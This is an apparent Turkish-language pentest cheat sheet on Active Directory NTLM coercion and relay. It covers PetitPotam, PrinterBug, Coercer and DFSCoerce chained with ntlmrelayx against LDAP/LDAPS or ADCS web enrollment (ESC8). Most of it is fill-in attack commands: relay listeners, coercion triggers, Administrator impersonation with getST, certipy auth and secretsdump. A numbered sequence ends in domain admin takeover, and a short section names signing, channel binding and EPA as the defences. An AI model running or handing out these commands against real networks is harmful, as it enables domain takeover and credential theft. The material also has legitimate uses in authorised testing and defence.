Coercion + NTLM Relay — PetitPotam / PrinterBug / Coercer / DFSCoerce
Bir DC veya sunucuyu MS-EFSRPC/MS-RPRN/MS-DFSNM ile kontrolündeki host'a authenticate olmaya ZORLARSIN, gelen makine kimliğini ntlmrelayx ile LDAP'e (RBCD/escalate) ya da ADCS web kayıt servisine (ESC8) relay edip DC kimliğini ele geçirirsin. SMB signing ve EPA zayıflığı sömürülür.
- Domain user kimliği (çoğu coercion metodu authenticated; PetitPotam bazı yamasız DC'lerde anonim)
- Relay hedefinde signing zayıf: LDAP signing/channel-binding kapalı (RBCD) veya ADCS Web Enrollment HTTP açık (ESC8)
- DC'nin makine hesabı (DC$) relay edilebilir bir kimlik sağlar
Komutlar
impacket-ntlmrelayx -t ldaps://{{DC_IP}} -smb2support --delegate-access impacket-ntlmrelayx -t ldap://{{DC_IP}} --escalate-user {{USER}} -smb2support impacket-ntlmrelayx -t http://{{RHOST}}/certsrv/certfnsh.asp -smb2support --adcs --template DomainController petitpotam.py -u {{USER}} -p {{PASS}} -d {{DOMAIN}} {{LHOST}} {{DC_IP}} printerbug.py {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}} {{LHOST}} coercer coerce -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -t {{DC_IP}} -l {{LHOST}} dfscoerce.py -u {{USER}} -p {{PASS}} -d {{DOMAIN}} {{LHOST}} {{DC_IP}} impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator -dc-ip {{DC_IP}} '{{DOMAIN}}/ATTACK$:Attack123!' Kavram: Coercion ÇİFTİ Relay
Bu saldırı iki yarımdan oluşur ve ikisi eşzamanlı çalışmalıdır:
- Relay dinleyici (
ntlmrelayx) önce ayağa kalkar ve bir hedef bekler. - Coercion tetikleyici (PetitPotam/PrinterBug/Coercer/DFSCoerce) bir sunucuyu — genelde DC’yi — saldırgan host’una authenticate olmaya zorlar. DC bağlandığında kendi makine hesabı (DC$) kimliğini taşır; ntlmrelayx bunu hedefe iletir.
Kritik nokta: NTLM kimliğini kıramazsın, ama başka bir servise relay edebilirsin. DC$ çok güçlü bir kimlik olduğu için DC’yi coerce edip o kimliği LDAP/ADCS’e relay etmek domain’i bitirir.
İki Ana Hedef
Hedef A — LDAP (RBCD veya DCSync)
ntlmrelayx -t ldaps://{{DC_IP}} --delegate-access: relay edilen makine için RBCD kurarsın (önce addcomputer ile bir makine hesabı eklersin; MachineAccountQuota>0 gerekir). Sonra getST S4U ile o makineden DC üzerinde Administrator bileti üretirsin. Alternatif: --escalate-user {{USER}} ile düşük-yetkili kendi hesabına DCSync (DS-Replication-Get-Changes) hakkı yazdırırsın. LDAPS gerekir çünkü modern DC’lerde LDAP signing zorunludur — LDAPS (636) channel binding zayıfsa relay geçer.
Hedef B — ADCS Web Enrollment (ESC8)
ntlmrelayx -t http://{{RHOST}}/certsrv/certfnsh.asp --adcs --template DomainController: coerce edilen DC$ kimliğini AD CS’in HTTP kayıt servisine relay edip DC adına sertifika alırsın. HTTP endpoint EPA (Extended Protection for Authentication) ile korunmuyorsa relay başarılı olur. Çıkan PFX’i certipy auth -pfx ... -dc-ip {{DC_IP}} ile TGT’ye/NT hash’e çevirirsin. Detay ad-adcs (ESC8) sayfasında.
Tetikleyici Seçimi (Gotcha’lar)
- PetitPotam (MS-EFSRPC): En meşhuru. Bazı yamasız DC’lerde anonim (credentialsiz) çalışır; yamalı sistemde authenticated.
- PrinterBug / SpoolSample (MS-RPRN): Print Spooler servisi çalışıyor olmalı; modern DC’lerde sıkça kapalıdır.
- DFSCoerce (MS-DFSNM): PetitPotam yamalarından sonra hayatta kalan favoridir.
- Coercer: Hepsini sırayla otomatik dener — hangisinin açık olduğunu bilmediğinde en pratik seçim.
SMB Signing’in Önemi
Relay’in temel savunması signing’tir. SMB signing zorunlu ise SMB hedefine relay edilemez (--gen-relay-list ile uygun hedef bulunur). LDAP tarafında LDAP signing + channel binding kapalıysa LDAP/LDAPS relay geçer. ADCS ESC8’de savunma EPA’dır. Yani: relay’in mümkün olup olmaması tamamen hedefteki signing/EPA konfigürasyonuna bağlıdır.
Sıra (Pratik)
ntlmrelayx’i hedefe ve moda göre başlat (terminal 1).- Coercion aracını DC’ye karşı ateşle (terminal 2):
{{LHOST}}= ntlmrelayx host’un. - ntlmrelayx çıktısında RBCD eklendi / sertifika alındı / DCSync yazıldı mesajını gör.
getSTveyacertipy authveyasecretsdumpile DA’ya yüksel.